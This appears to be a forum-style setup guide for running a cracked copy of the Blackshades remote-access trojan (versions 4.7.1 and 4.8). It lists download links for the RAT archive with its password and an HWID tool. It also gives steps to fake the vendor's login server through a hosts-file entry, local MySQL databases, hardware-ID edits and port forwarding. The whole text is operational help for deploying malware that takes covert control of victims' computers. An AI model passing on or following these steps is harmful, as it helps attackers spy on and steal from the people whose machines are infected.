Download http://www.apachefriends.org/en/xampp-windows.html
Download http://bshades.eu/4.7.1.rar password for the archive is blackshades
Download http://bshades.eu/HWID.exe
Download and install MySQL ODBC connector from here http://dev.mysql.com/downloads/connector/odbc
I suggest you to go with older XAMPP 1.6.x because you will need VC++2008 redist or later to set leatest version to run.
Add the following line in "hosts" file located here C:\WINDOWS\system32\drivers\etc
127.0.0.1	blackshades.ru
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MySQL database details to set:
Username: root
Password: Uh77yerJ83nX
Create database named -> bss_net
bss_net is the database necessary for rat to authenticate;
Create database named -> bs_fusion
Create database named -> bs_proxy
Creation of these two database will prevent error boxes, i didn\'t provided table structure because they are not needed for rat. 
Import the database backup files provided for each database respectively.
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Run HWID.exe and go to database bss_net in table accounts and replace hwid column value of -1111111111 with generated one (just paste it)
Start file server4.7.1 (login server)
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Start Blackshades RAT 4.7.1 (client.exe) and login with username -> test and password -> test if needed
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For RAT version 4.8:
Download this and install http://sourceforge.net/projects/pjs-passport/
forward these ports using TCP protocol:
127.0.0.1:8203 ==> 127.0.0.1:8201
127.0.0.1:8204 ==> 127.0.0.1:8202
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For older version:
DB password is the same, its just port forwarding that is necessary but I might release all login servers.
Only 4.8 has different database password but like described before, it can be bypassed with port forwarding, use netsat to examine in details.